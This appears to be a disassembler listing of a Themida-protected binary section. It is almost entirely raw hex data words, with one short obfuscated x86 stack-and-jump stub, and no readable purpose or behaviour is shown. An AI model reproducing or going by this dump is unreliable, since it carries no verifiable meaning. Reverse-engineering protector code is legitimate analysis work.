		dd 3F2F7883h, 0FED33CE8h, 83245B90h, 0F9FE8DD2h, 0F7933403h
		dd 0C04745B2h, 8D77F841h, 0D1AEF9FEh, 0C2046D08h, 650BFB64h
		dd 0F2E75323h, 0D89B2EB4h, 74A9321h, 0D255D4D2h, 0C05B6793h
		dd 7281B28Bh, 1B50EBF2h, 0BD38BBC2h, 0B425ACFFh, 0A92C97F6h
		dd 333B98E3h, 63EDFD43h, 0F4B22793h, 845E9BEEh,	508F23A8h
		dd 0FAC03989h, 80FD2AA3h, 5F1BDE81h, 0F21379FAh, 66D3A8EBh
		dd 6EF5D607h, 307h, 9DA73F00h, 0D92C686Eh, 0C05B6196h
		dd 34575B81h, 25404E8Dh, 287341BAh, 1F6E34A9h, 9B21D4h
		dd 769519C1h, 788307CFh, 0E68956F2h, 4C681h, 0BD550000h
		dd 4, 875DEE29h, 685C2434h, 7B03h, 56241489h, 0C681E689h
		dd 4, 8704EE83h, 895C2434h, 0BB53242Ch,	28FB3907h, 0A42145BAh
		dd 5BDA0136h, 514FE281h, 0C2817D3Fh, 6D611BEh, 0AB65EA81h
		dd 8B545E0Eh, 0C483242Ch, 69B26804h, 14890000h,	24348124h
		dd 17BF5553h, 8108458Fh, 55530875h, 34FF17BFh, 0C4815D24h
		dd 4
		db 8Bh,	14h, 24h
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		add	ebp, 4
		xchg	ebp, [esp]
		pop	esp
		jmp	loc_4F5CCB
; ---------------------------------------------------------------------------
		db 0F2h
		dd 8AB80626h, 305E6BBh,	0B7E0FFC5h, 0C65D6B00h,	0B33F2338h
		dd 15550F78h, 2B693467h, 935EA73h, 3E4703D3h, 0B922BD8Ah
		dd 0F7595F8Ah, 34704D33h, 2F5BBA8Ah, 0A467777Ah, 0C859C8C2h
		dd 512C96Dh, 0DC540894h, 0A45D48F4h, 270BF9E9h,	291FAD82h
		dd 872EEB67h, 8D112D93h, 0E20E9185h, 68F0F05h, 8B000000h
		dd 0E21FC19Dh, 4895005h, 0F6F78124h, 0F49A998h,	6AFAB7h
		dd 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h, 1Dh, 7FC35646h
		dd 3EEB702h, 0C88842B9h, 5BF55389h, 2FBF006Ah, 8B5D5299h
		dd 0E2302D9Dh, 0FA858D05h, 5005E6BDh, 23E99589h, 315B05E2h
		dd 0E21FE59Dh, 5C08305h, 0E850006Ah, 3,	58C35820h, 4244489h
		dd 4244481h, 1Dh, 0F4C35040h, 0ABA2F1ADh, 53FB3832h, 299D8B17h
		dd 9005E231h, 66505B57h, 901EBEBFh, 6AFE8B66h, 0E8FABF00h
		dd 6A7FA4h, 0BE9ABF66h,	1E2D95FFh, 0BD8B05E2h, 5E221A9h
		dd 9D808D8Dh, 6A05E5h, 3E850h, 58200000h, 448958C3h, 44810424h
		dd 180424h, 50400000h, 193EE9C3h, 665776F1h, 7588E781h
		dd 8E95Bh, 9CB0000h, 2C8C9C9Eh,	0D1FFCB61h, 0E856006Ah
		dd 3, 5EC35E20h, 4247489h, 4244481h, 15h, 28C35646h, 0B9BD83FEh
		dd 105E200h, 5F850Fh, 6A0000h, 3E850h, 58200000h, 448958C3h
		dd 44810424h, 140424h, 50400000h, 8B66B3C3h, 90026AFBh
		dd 0BE95160h, 2E000000h, 0CC7C72B6h, 0C59408B7h, 0B55AD5FAh
		dd 8B50611Dh, 8C0F90DAh, 11h, 8E8h
		db 0
byte_539A99	db 7Fh,	8Ch, 1		; DATA XREF: Themida_:004EE1FCo
		dd 7C3E828Eh, 74E78098h, 0E995FF5Fh, 8905E214h,	0E2139195h
		db 5
byte_539AB1	db 0E9h, 0FBh, 0Dh	; DATA XREF: Themida_:004EFC9Co
		dd 0E80000h, 5D000000h,	0BE04ED81h, 0DE905E6h, 0CB000000h
		dd 78AEE30Ch, 162E065Eh, 8DAF1CB0h, 8E9E858Dh, 6A05E5h
		dd 3E856h, 5E200000h, 74895EC3h, 44810424h, 170424h, 56460000h
		dd 0A93604C3h, 12E951h,	0EEF60000h, 0DF88DF4Ch,	12969294h
		dd 36DF1AA1h, 2CA5E262h, 8B605090h, 0DF8B66C8h,	66505F61h
		dd 902B17BFh, 0E852006Ah, 3, 5AC35A20h,	4245489h, 4244481h
		dd 1Dh,	0BDC35242h, 53DABFA2h, 675D33C4h, 0C624BF51h, 11E91B74h
		dd 89000000h, 0BBD94FCBh, 9ECAC265h, 4109241Fh,	0E185A48Ah
		dd 35FF64h, 23000000h, 0E214499Dh, 25896405h, 0
		dd 232985FFh, 10E805E2h
		db 3 dup(0)
byte_539B7F	db 0E1h			; DATA XREF: Themida_:004F0D28o
		dd 42B7365Ah, 66E4C4A6h, 57C7203Fh, 8A701B40h, 0FF6A5BFDh
		dd 1D6D8589h, 0B5FF05E2h, 5E221FDh, 32FDBD8Bh, 95FF05E2h
		dd 5E2189Dh, 0F1E9h, 0D3816600h, 0B0DD8Ch, 0BF70E6F9h
		dd 66A4CDD1h, 0D38071E4h, 0F613C60h, 0D583h, 8A0F5300h
		dd 6, 0D199D8Bh, 0F5B05E2h, 8D29C8B6h, 5E20F95h, 6BAh
		dd 0EF816600h, 0C18B04EFh, 0CE9h, 659D1100h, 0D8500FF4h
		dd 0BF8D1147h, 4E8C1DFh, 8880Fh, 810F0000h, 2, 0F7665B53h
		dd 5E9E2h, 0D8EA0000h, 2B6C6C81h, 0BD8B60C8h, 5E22421h
		dd 9DF18166h, 0D18B61B3h, 31059589h, 0E905E2h, 8B000000h
		dd 0E2140985h, 0CE905h,	8ED70000h, 0F1FD2738h, 0A50B192h
		dd 0C083F6DEh, 0C8C78107h, 83671B26h, 3BF900C0h, 0B830FD0h
		dd 89000000h, 0E215A1B5h, 30E905h, 8D8B0000h, 5E21555h
		dd 0F01E183h, 2184h, 0B9BD8900h, 8305E20Fh, 0E21555A5h
		dd 0BD33FE05h, 5E20D6Dh, 14099589h, 8B6605E2h, 0E9DFh
		dd 0B58D0000h, 5E62785h, 0E850006Ah, 3,	58C35820h, 4244489h
		dd 4244481h, 17h, 17C35040h, 0F93F79DEh, 9D89006Ah, 5E23071h
		dd 0AB995FFh, 6A05E2h, 3E850h, 58200000h, 448958C3h, 44810424h
		dd 1C0424h, 50400000h, 0B81B08C3h, 0D057171Ch, 950952E3h
		dd 5E20B65h, 8C6B9h, 51006A00h,	3E8h, 0C3592000h, 244C8959h
		dd 24448104h, 1504h, 0C3514100h, 0DF81F65Bh, 1DFDD9ADh
		dd 22898589h, 9D8B05E2h, 5E21DC1h, 6AFCE183h, 3E85000h
		dd 20000000h, 8958C358h, 81042444h, 1A042444h, 40000000h
		dd 0E843C350h, 0BCDC2A6h, 820FFC35h, 6,	8119D0Bh, 0B805E2h
		dd 6A000000h, 3E85000h,	20000000h, 8958C358h, 81042444h
		dd 1A042444h, 40000000h, 716AC350h, 4733C637h, 0B5896042h
		dd 5E21781h, 0BA61h, 6A0000h, 3E855h, 5D200000h, 6C895DC3h
		dd 44810424h, 1D0424h, 55450000h, 0C2A847C3h, 0F26093AFh
		dd 89B1BCA5h, 0E21D41BDh, 85BF6605h, 0C233AD9Fh, 0D003E8D1h
		dd 7504E983h, 57006AF4h, 3E8h, 0C35F2000h, 247C895Fh, 24448104h
		dd 1804h, 0C3574700h, 6C31E97Fh, 0AE9FCh, 0D7260000h, 0C23DCB67h
		dd 0D0D137B2h, 8B663BB7h, 880DFEh, 0BD8B0000h, 5E20A51h
		dd 0BE9958Bh, 12E905E2h, 2A000000h, 0E1A6190Dh,	16AF1F4Fh
		dd 0C39EE607h, 0F444D837h, 618D8B0Ch, 0E905E207h, 0Ch
		dd 0A6911C32h, 0F8C69AE9h, 1E3A2AF8h, 8BC28B50h, 8BC10318h
		dd 0D1C18B18h, 8BC203E8h, 6A5818h, 3E856h, 5E200000h, 74895EC3h
		dd 44810424h, 170424h, 56460000h, 25BC19C3h, 0E3816654h
		dd 81661CCAh, 837104EBh, 0E20D79BDh, 840F0005h,	5Bh, 0E855006Ah
		dd 3, 5DC35D20h, 4246C89h, 4244481h, 1Ah, 9EC35545h, 0CD4D867h
		dd 0B8E03Ah, 0F000000h,	8D8DFFB7h, 5E24C42h, 0FF5EB7F5h
		dd 57006AE1h, 3E8h, 0C35F2000h,	247C895Fh, 24448104h, 1804h
		dd 0C3574700h, 0D0E24F8Eh, 4D9D8BC4h, 8305E209h, 0E21B55BDh
		dd 840F0005h, 4A9h, 0E851006Ah,	3, 59C35920h, 4244C89h
		dd 4244481h, 1Ch, 0BAC35141h, 506430B0h, 0F87EBE87h, 7E8h
		dd 0B9A71D00h, 2587E1Eh, 0E9F38166h, 0BD835F0Ch, 5E21B55h
		dd 81840F01h, 6A000004h, 3E85100h, 20000000h, 8959C359h
		dd 8104244Ch, 19042444h, 41000000h, 4349C351h, 7BF963DBh
		dd 1B55BD83h, 0F0305E2h, 41D86h, 75BB6600h, 8D096065h
		dd 5E2003Dh, 51D98C66h,	299D8B57h, 5B05E231h, 4E1805Fh
		dd 171D9D8Bh, 0C90A05E2h, 16D840Fh, 6A0000h, 3E850h, 58200000h
		dd 448958C3h, 44810424h, 150424h, 50400000h, 294E5CC3h
		dd 0E23315B5h, 1D858B05h, 6A05E224h, 3E85300h, 20000000h
		dd 895BC35Bh, 8104245Ch, 16042444h, 43000000h, 5097C353h
		dd 35FFBB70h, 8533749Fh, 5E22AA9h, 0E855006Ah, 3, 5DC35D20h
		dd 4246C89h, 4244481h, 19h, 9C35545h, 4F8EC480h, 0EE8E2h
		dd 0C0560000h, 894E0F32h, 0D57CA95h, 97312284h,	0BF5BDA8Bh
		dd 36AB8A40h, 0FB8B6690h, 2840F50h, 8B000000h, 6A90F9h
		dd 3E856h, 5E200000h, 74895EC3h, 44810424h, 160424h, 56460000h
		dd 0E30EEEC3h, 0CC04DF81h, 0BE86093h, 3B000000h, 0E9AC939Bh
		dd 0C2AB1250h, 8E0F0B60h, 6, 0BC1BD29h,	6A5B05E2h, 55006A00h
		dd 3E8h, 0C35D2000h, 246C895Dh,	24448104h, 1B04h, 0C3554500h
		dd 0EA613DF8h, 0A636EBAFh, 18819529h, 858905E2h, 5E21DEDh
		dd 4E8h, 1F03FF00h, 5E85000h, 48000000h, 9687386Eh, 24448B5Bh
		dd 50BB6604h, 0F008BDAh, 284h, 89FA8B00h, 58042444h, 1F61BD8Bh
		dd 29BB05E2h, 0FF726507h, 0E2083995h, 7D9D0105h, 8905E207h
		dd 0E5BB9D85h, 38D0F05h, 0F000000h, 0FCE9DBBFh,	53000001h
		dd 0EB9BD8Bh, 8B5F05E2h, 0E5BB9585h, 53006A05h,	3E8h, 0C35B2000h
		dd 245C895Bh, 24448104h, 1804h,	0C3534300h, 0CFF9CFEDh
		dd 52CB80D5h, 308DB529h, 0C705E2h, 18h,	0E850006Ah, 3
		dd 58C35820h, 4244489h,	4244481h, 16h, 0FBC35040h, 0B5290C93h
		dd 5E21775h, 0BB99B58Bh, 6A05E5h, 3E855h, 5D200000h, 6C895DC3h
		dd 44810424h, 190424h, 55450000h, 375724C3h, 0BFC54C5Ch
		dd 5B33E927h, 0F9858Bh,	6A05E2h, 3E850h, 58200000h, 448958C3h
		dd 44810424h, 1A0424h, 50400000h, 2C067CC3h, 91817703h
		dd 6A0689h, 3E857h, 5F200000h, 7C895FC3h, 44810424h, 1D0424h
		dd 57470000h, 77FDA5C3h, 4E005C4Bh, 8B018F74h, 0E2241D85h
		dd 52006A05h, 3E8h, 0C35A2000h,	2454895Ah, 24448104h, 1804h
		dd 0C3524200h, 469EF312h, 899D8BF5h, 8905E215h,	9E90446h
		dd 4000000h, 8C0252D9h,	0B0C6A2DAh, 0AE950h, 0A1A70000h
		dd 0BA526115h, 0A2F7A24h, 0E9243489h, 0Dh, 0E0DA5A7Dh
		dd 0FC9EE942h, 0E83084ABh, 95B5FF0Dh, 6A05E5BBh, 3E85000h
		dd 20000000h, 8958C358h, 81042444h, 19042444h, 40000000h
		dd 0B1F5C350h, 98E9C431h, 6C2BED68h, 81FDB397h,	0D8122404h
		dd 6A68B2h, 3E850h, 58200000h, 448958C3h, 44810424h, 190424h
		dd 50400000h, 8EB9B7C3h, 8DFBD76Ah, 0E5BB9D85h,	0FAB70F05h
		dd 89FE8B50h, 6A2404h, 3E855h, 5D200000h, 6C895DC3h, 44810424h
		dd 1C0424h, 55450000h, 64E62C3h, 79C0E39Eh, 8D297F39h
		dd 5E2010Dh, 83995FFh, 6A05E2h,	3E850h,	58200000h, 448958C3h
		dd 44810424h, 160424h, 50400000h, 0CB6F12C3h, 0E7E38060h
		dd 145D8589h, 616105E2h, 0E856006Ah, 3,	5EC35E20h, 4247489h
		dd 4244481h, 15h, 75C35646h, 8E97Eh, 0BAB40000h, 99E95736h
		dd 0BD895934h, 5E222C9h, 1B5585C7h, 305E2h, 6A0000h, 3E856h
		dd 5E200000h, 74895EC3h, 44810424h, 1B0424h, 56460000h
		dd 0A6A076C3h, 0A58CE38Ah, 9DBD8396h, 5E5BBh, 28840Fh
		dd 9D8B0000h, 5E21E4Dh,	38E9h, 53006A00h, 3E8h,	0C35B2000h
		dd 245C895Bh, 24448104h, 1504h
		dd 0C3534300h, 3050130Bh, 4400110Ch, 0E8C10111h, 11443010h
		dd 114C0002h, 0E9835803h, 0EBE77504h, 4305036h,	11640011h
		dd 10E8C101h, 2114430h,	3116400h, 4E98358h, 1BEBE775h
		dd 10E8C150h, 3116428h,	2114430h, 11642858h, 11043001h
		dd 7504E983h, 8B00EBE7h, 0B5BD8BC0h, 8305E20Bh,	0E21B55BDh
		dd 850F0305h, 474h, 83EDDF80h, 0E5BB9DBDh, 840F0005h, 464h
		dd 0FF5FF557h, 0E5BB9DB5h, 95FFF505h, 5E2172Dh,	2C09BD8Bh
		dd 0B58B05E2h, 5E5BB91h, 0E856006Ah, 3,	5EC35E20h, 4247489h
		dd 4244481h, 17h, 71C35646h, 0C7B8D9FAh, 1000106h, 53006A00h
		dd 3E8h, 0C35B2000h, 245C895Bh,	24448104h, 1704h, 0C3534300h
		dd 0C0CFBE66h, 2850Fh, 9DB30000h, 0D46EBB50h, 34893AA7h
		dd 0F9BF0F24h, 0BB9DB5FFh, 6A05E5h, 3E855h, 5D200000h
		dd 6C895DC3h, 44810424h, 1C0424h, 55450000h, 9FE34BC3h
		dd 0FFFA6720h, 830FE45Ah, 6, 18999D8Bh,	95FF05E2h, 5E22BD1h
		dd 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h, 1Bh, 8DC35747h
		dd 52448E6Bh, 8B52999Fh, 0E5BB91B5h, 55006A05h,	3E8h, 0C35D2000h
		dd 246C895Dh, 24448104h, 1904h,	0C3554500h, 0E1AA0098h
		dd 0BD2BABABh, 5E20471h, 12E9h,	94A61200h, 0DEDC176Bh
		dd 0B995610h, 9C129301h, 8BF08CA0h, 0E210DD85h,	55006A05h
		dd 3E8h, 0C35D2000h, 246C895Dh,	24448104h, 1B04h, 0C3554500h
		dd 510994CCh, 186C6D00h, 0C48689h, 8B660000h, 0E9958BF9h
		dd 6A05E20Bh, 3E85600h,	20000000h, 895EC35Eh, 81042474h
		dd 1B042444h, 46000000h, 91ABC356h, 2B50985Bh, 9531FBFAh
		dd 5E21E69h, 83D9B70Fh,	6A04C2h, 3E852h, 5A200000h, 54895AC3h
		dd 44810424h, 1B0424h, 52420000h, 0C251DBC3h, 0D6B6EAFEh
		dd 0DA8B6686h, 6A205089h, 3E85300h, 20000000h, 895BC35Bh
		dd 8104245Ch, 19042444h, 43000000h, 7A7FC353h, 164C77E8h
		dd 0E4D8D89h, 0BF6605E2h, 858D2777h, 5E5CE5Bh, 0E855006Ah
		dd 3, 5DC35D20h, 4246C89h, 4244481h, 16h, 9C35545h, 0DE8AB2A9h
		dd 0B88689h, 85310000h,	5E20C4Dh, 6A006Ah, 3E852h, 5A200000h
		dd 54895AC3h, 44810424h, 190424h, 52420000h, 697C65C3h
		dd 0F132C76h, 0B5FFD8BFh, 5E5BB9Dh, 0E855006Ah,	3, 5DC35D20h
		dd 4246C89h, 4244481h, 1Ah, 0AAC35545h,	0F814F799h, 8D899006h
		dd 5E20B89h, 14E995FFh,	6A05E2h, 3E852h, 5A200000h, 54895AC3h
		dd 44810424h, 180424h, 52420000h, 2B9308C3h, 0BD8BADBFh
		dd 5E2046Dh, 8B666096h,	565250CFh, 0E9310F59h, 8, 8C18098Dh
		dd 0B6DE4A48h, 5061585Ah, 76BB6650h, 0FF965B0Eh, 0E5BB9DB5h
		dd 55006A05h, 3E8h, 0C35D2000h,	246C895Dh, 24448104h, 1A04h
		dd 0C3554500h, 67E247Eh, 0E9E3224Eh, 12h, 59034EA9h, 904CB9E5h
		dd 0FBAAB2A7h, 0BE2C33E5h, 8B0FD6B5h, 0Ch, 6880Fh, 9D890000h
		dd 5E22199h, 2D2195FFh,	8E905E2h, 0C3000000h, 0DEDAA05Ah
		dd 83FFDC86h, 0E20089BDh, 840F0005h, 33h, 24C9BD8Bh, 0BF6605E2h
		dd 895043A9h, 6A2434h, 3E856h, 5E200000h, 74895EC3h, 44810424h
		dd 1C0424h, 56460000h, 0FEB712C3h, 0D618A385h, 0FFF846A0h
		dd 0E5BB9DB5h, 57006A05h, 3E8h,	0C35F2000h, 247C895Fh
		dd 24448104h, 1D04h, 0C3574700h, 0E62BCC50h, 302468FAh
		dd 5E941C8h, 58000000h,	37918F84h, 22058589h, 95FF05E2h
		dd 5E20415h, 6099D23h, 8C0F05E2h, 15h, 10E9h, 0FF0CE700h
		dd 104653BCh, 99B9B82Eh, 0A5DE2B64h, 9DB5FF10h,	6A05E5BBh
		dd 3E85600h, 20000000h,	895EC35Eh, 81042474h, 18042444h
		dd 46000000h, 3A64C356h, 0E9EAD088h, 12h, 53DABFA2h, 675D33C4h
		dd 0B8BC3651h, 3EB02807h, 95FF4002h, 5E20A59h, 6B57BB66h
		dd 24CDBD83h, 0F0205E2h, 3B84h,	53006A00h, 3E8h, 0C35B2000h
		dd 245C895Bh, 24448104h, 1D04h,	0C3534300h, 1D3AC373h
		dd 0FD71108Fh, 858BF12Bh, 5E21F35h, 1619D89h, 0C605E2h
		dd 1830F00h, 0F5000000h, 0CF985C7h, 5E2h, 6A0000h, 3E852h
		dd 5A200000h, 54895AC3h, 44810424h, 160424h, 52420000h
		dd 0C891E6C3h, 0FFF32DE9h, 55006AFFh, 3E8h, 0C35D2000h
		dd 246C895Dh, 24448104h, 1D04h,	0C3554500h, 14EFFE41h
		dd 2E6E86D0h, 8B66F4EEh, 60C18BFEh, 12E857h, 499D0000h
		dd 3990BE61h, 0CB794250h, 265CF1DFh, 0D2101A58h, 0B589585Bh
		dd 5E20E69h, 91858D61h,	8905E20Eh, 0E20545BDh, 5E85005h
		dd 4F000000h, 0A8019E74h, 5BDE8B66h, 6A240489h,	0DD9D8B00h
		dd 6A05E204h, 53006A00h, 3E8h, 0C35B2000h, 245C895Bh, 24448104h
		dd 1704h, 0C3534300h, 0EE229B7Ch, 8DFABF0Fh, 0E6CDFC85h
		dd 51006A05h, 3E8h, 0C3592000h,	244C8959h, 24448104h, 1904h
		dd 0C3514100h, 49CFBD9Ch, 0EE94E23h, 0
		dd 0A8993585h, 1BDE69B4h, 4F431D26h, 8E85141h, 0F0000000h
		dd 0F89DE22Ah, 0E9E99B19h, 8, 78B14A3Dh, 52189F4Bh, 0C0835B5Bh
		dd 52006A05h, 3E8h, 0C35A2000h,	2454895Ah, 24448104h, 1604h
		dd 0C3524200h, 66784338h, 8B66DA8Bh, 0B5BB50FBh, 894CD403h
		dd 6A2404h, 3E851h, 59200000h, 4C8959C3h, 44810424h, 1A0424h
		dd 51410000h, 0A5C05FC3h, 0B5E78AC2h, 6ADA8B66h, 57006A00h
		dd 3E8h, 0C35F2000h, 247C895Fh,	24448104h, 1B04h, 0C3574700h
		dd 86AE89E9h, 0ED24832Ch, 95FF006Ah, 5E21E2Dh, 16A5BD8Bh
		dd 8D8D05E2h, 5E59D80h,	0E852006Ah, 3, 5AC35A20h, 4245489h
		dd 4244481h, 14h, 67C35242h, 0F88ADF8Bh, 14870Fh, 8B0F0000h
		dd 0Eh,	9E9h, 4EA3400h,	0C73D6E67h, 0D1FFEF2Ah,	0E851006Ah
		dd 3, 59C35920h, 4244C89h, 4244481h, 18h, 0A4C35141h, 0F957C6E3h
		dd 29FE8B66h, 0E21A75BDh, 0B9BD8305h, 105E200h,	61850Fh
		dd 0CBF0000h, 6A0A7E5Ah, 56006A02h, 3E8h, 0C35E2000h, 2474895Eh
		dd 24448104h, 1704h, 0C3564600h, 714D8363h, 50FC8A90h
		dd 51BD0390h, 0FF05E214h, 0E214E995h, 53006A05h, 3E8h
		dd 0C35B2000h, 245C895Bh, 24448104h, 1C04h, 0C3534300h
		dd 0E783DD74h, 6CCC8354h, 69BD8909h, 0E905E205h, 0E0Bh
		dd 0E8h, 0ED815D00h, 5E6CE06h, 0B501C5B3h, 5E21D81h, 8E9E858Dh
		dd 6A05E5h, 3E856h, 5E200000h, 74895EC3h, 44810424h, 160424h
		dd 56460000h, 0AACDFBC3h, 1CB390F8h, 0FF649050h, 35h, 53006A00h
		dd 3E8h, 0C35B2000h, 245C895Bh,	24448104h, 1D04h, 0C3534300h
		dd 0D2808702h, 0DA9290B1h, 0BD03FFA8h, 5E22A99h, 258964h
		dd 0F000000h, 82h, 2985FF00h, 6A05E223h, 3E85500h, 20000000h
		dd 895DC35Dh, 8104246Ch, 1B042444h, 45000000h, 758C355h
		dd 59E09788h, 0BE90D54h, 8F000000h, 134B0CB3h, 2BEA454Eh
		dd 0FF6AEA74h, 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h
		dd 14h,	21C35040h, 21A99589h, 0BD0B05E2h, 5E21911h, 3249B5FFh
		dd 9B305E2h, 189D95FFh,	0F5E905E2h, 33000000h, 0E22AADBDh
		dd 0F00B005h, 68Ch, 2D850100h, 105E209h, 0E21D498Dh, 8970E605h
		dd 0E21001BDh, 8171E405h, 0F4F058C7h, 0F613C01h, 0C383h
		dd 68B0F00h, 8B000000h,	0E217F9BDh, 0C8B60F05h,	1425BD89h
		dd 8B6005E2h, 0E2243D85h, 0BA61FC05h, 6, 0BB66C18Bh, 0E8C1E20Ah
		dd 0E2F76604h, 0B8665160h, 0F95A8DCEh, 66C82B61h, 8BC90BBBh
		dd 0F9BF0FD1h, 1D5D8589h, 75E905E2h, 8B000000h,	885h, 0C083F900h
		dd 0BD9D2B07h, 0F05E217h, 68Bh,	0BD8D0900h, 8305E213h
		dd 0D03B00C0h, 0B830Fh,	0BD890000h, 5E20109h, 43E9h, 0FF8D8B00h
		dd 66FFFFFFh, 3989EF81h, 0F01E183h, 2F84h, 83DF8B00h, 0FFFFFFA5h
		dd 11E9FEFFh, 0DC000000h, 5037AB0Dh, 689A5350h,	0B86936C4h
		dd 52F57A2Ah, 89589h, 81660000h, 0E93B30DFh, 0
		dd 42E5B58Dh, 0E85205E6h, 6, 2F74AEC7h,	8C0F7164h, 0
		dd 6A5F5Fh, 331D9D01h, 95FF05E2h, 5E20AB9h, 21CD9D8Bh
		dd 7DB905E2h, 6A00000Fh, 3E85500h, 20000000h, 895DC35Dh
		dd 8104246Ch, 1C042444h, 45000000h, 0D7C7C355h,	0D7F2CA0Eh
		dd 0F105A13h, 28Fh, 83DF8B00h, 9D8BFCE1h, 5E21B49h, 8B60FCF9h
		dd 0E213E585h, 1DB58905h, 6105E209h, 0B8h, 53006A00h, 3E8h
		dd 0C35B2000h, 245C895Bh, 24448104h, 1804h, 0C3534300h
		dd 9CCA58B6h, 0CBB66F8h, 0BA52h, 0BD8B0000h, 5E22C7Dh
		dd 0D1C233ADh, 83D003E8h, 0F47504E9h, 33259D8Bh, 6A05E2h
		dd 3E853h, 5B200000h, 5C895BC3h, 44810424h, 1A0424h, 53430000h
		dd 0A6EEAC3h, 57FEF9ECh, 0EE9h,	6F1F0F00h, 0D75696BEh
		dd 416B5ED7h, 0D78AC94h, 88h, 0E852006Ah, 3, 5AC35A20h
		dd 4245489h, 4244481h, 16h, 0B7C35242h,	1CBBD64Ch, 0E902D5FEh
		dd 0Bh,	57A954C5h, 2C5908E2h, 8BC7667Ch, 0E20BE995h, 56006A05h
		dd 3E8h, 0C35E2000h, 2474895Eh,	24448104h, 1504h, 0C3564600h
		dd 8B66B5DBh, 0A1B589D9h, 2305E226h, 0E221419Dh, 618D8B05h
		dd 0FC05E207h, 8BC28B50h, 8BC10318h, 0D1C18B18h, 8BC203E8h
		dd 6A5818h, 3E852h, 5A200000h, 54895AC3h, 44810424h, 1D0424h
		dd 52420000h, 15EAC7C3h, 3D66021Ch, 0BF68030Fh,	420B90B4h
		dd 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h, 1Ch, 78C35242h
		dd 0F04E443Ah, 17454D8Fh, 12E8h, 82A62800h, 87C1BD66h
		dd 0DDAB43D9h, 0A9E947A0h, 0E9793252h, 14h, 0BE8D56DCh
		dd 0AAB8E9A4h, 438E7049h, 0B17624F6h, 0DE62DACCh, 59B5895Fh
		dd 8305E207h, 0E20D79BDh, 840F0005h, 5Fh, 0D05BD8Bh, 0B805E2h
		dd 6A000000h, 3E85100h,	20000000h, 8959C359h, 8104244Ch
		dd 14042444h, 41000000h, 0F959C351h, 4C428D8Dh,	6A05E2h
		dd 3E852h, 5A200000h, 54895AC3h, 44810424h, 150424h, 52420000h
		dd 29D191C3h, 0E2233585h, 0FE1FF05h, 684h, 0FD953100h
		dd 8305E216h, 0E21B55BDh, 840F0005h, 43Dh, 0D8D8501h, 0BD8305E2h
		dd 5E21B55h, 45840F01h,	0E9000004h, 7, 3BA195F6h, 83FECFBCh
		dd 0E21B55BDh, 860F0305h, 3F6h,	0E719D89h, 8B6605E2h, 9D8B60DEh
		dd 5E219B9h, 6AD98C66h,	3E85100h, 20000000h, 8959C359h
		dd 8104244Ch, 17042444h, 41000000h, 0D295C351h,	0E3801834h
		dd 4E18027h, 8C1BD8Bh, 0C90A05E2h, 15F840Fh, 6A0000h, 3E852h
		dd 5A200000h, 54895AC3h, 44810424h, 1D0424h, 52420000h
		dd 1B8E6C3h, 122D1902h,	8B6B94A6h, 0E2241D85h, 0BDBD2B05h
		dd 3305E21Fh, 0E22AA985h, 50006A05h, 3E8h, 0C3582000h
		dd 24448958h, 24448104h, 1904h,	0C3504000h, 0D1FA393Ah
		dd 0CB81D41Dh, 7E813E20h, 0FA8B6690h, 0BD019050h, 5E22621h
		dd 6A006Ah, 3E855h, 5D200000h, 6C895DC3h, 44810424h, 1D0424h
		dd 55450000h, 0A5EE41C3h, 0FBA3FA0h, 66F91446h,	0E85B7BBBh
		dd 4, 1F03FFh, 11E9h, 27975500h, 0D3E278E2h, 1289C5FDh
		dd 48FE304Ah, 0F50C71Ch, 58Ah, 190FBF00h, 448B4B29h, 8B0424h
		dd 6622BF66h, 4244489h,	52506060h, 585A310Fh, 0DE961h
		dd 98960000h, 0B11726C5h, 69FCA4A3h, 616BF2F6h,	56006A58h
		dd 3E8h, 0C35E2000h, 2474895Eh,	24448104h, 1504h, 0C3564600h
		dd 95FFAD1Fh, 5E20839h,	0B75BD8Bh, 858905E2h, 5E5BB9Dh
		dd 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h, 15h, 50C35545h
		dd 1B6E9B8h, 6A0000h, 3E851h, 59200000h, 4C8959C3h, 44810424h
		dd 170424h, 51410000h, 0BAD763C3h, 36BF6677h, 95858BA4h
		dd 0F05E5BBh, 18Fh, 0C7F800h, 18h, 21C78166h, 99B58BBFh
		dd 6605E5BBh, 8B45FFBBh, 0E200F985h, 0FABF0F05h, 9D8B0689h
		dd 5E22AC5h, 241D858Bh,	6A05E2h, 3E856h, 5E200000h, 74895EC3h
		dd 44810424h, 1D0424h, 56460000h, 1C2C79C3h, 0CB9C6B8Bh
		dd 8B4477D0h, 0E229B59Dh, 8B666005h, 468961F2h,	53006A04h
		dd 3E8h, 0C35B2000h, 245C895Bh,	24448104h, 1904h, 0C3534300h
		dd 0BF414413h, 81663D63h, 1C9CCC7h, 0E20CEDB5h,	52609605h
		dd 665F5E51h, 6198A8BAh, 58F0F50h, 0BB000000h, 4A363B53h
		dd 0F9BD8B96h, 0FF05E221h, 0E5BB95B5h, 50006A05h, 3E8h
		dd 0C3582000h, 24448958h, 24448104h, 1404h, 0C3504000h
		dd 4E8A9h, 3FF0000h, 810F001Fh,	2, 0B350D98Bh, 24448B29h
		dd 7E804h, 9EB70000h, 583849E2h, 525060ECh, 585A310Fh
		dd 8B5F61h, 448966B3h, 0BF660424h, 8B58EC84h, 0E22B15BDh
		dd 0D7816605h, 858D3223h, 5E5BB9Dh, 0E853006Ah,	3, 5BC35B20h
		dd 4245C89h, 4244481h, 16h, 8EC35343h, 0BD8B9371h, 5E204DDh
		dd 2ABB6690h, 810F50EAh, 0Ah, 48C0Fh, 0BB660000h, 31905EB6h
		dd 0E231058Dh, 3995FF05h, 6A05E208h, 3E85000h, 20000000h
		dd 8958C358h, 81042444h, 16042444h, 40000000h, 6E39C350h
		dd 9DBD23DFh, 6605E20Ch, 0D17EEF81h, 57006A61h,	3E8h, 0C35F2000h
		dd 247C895Fh, 24448104h, 1D04h,	0C3574700h, 834CF2D1h
		dd 0D0919E04h, 8F0FAE9Dh, 1, 5585C7F5h,	305E21Bh, 0E9000000h
		dd 14h,	7B252DEAh, 0CA3A3E18h, 0E076F566h, 84A1144Eh, 0E873B2C6h
		dd 0BB9DBD83h, 0F0005E5h, 6184h, 57006A00h, 3E8h, 0C35F2000h
		dd 247C895Fh, 24448104h, 1A04h,	0C3574700h, 1B635D57h
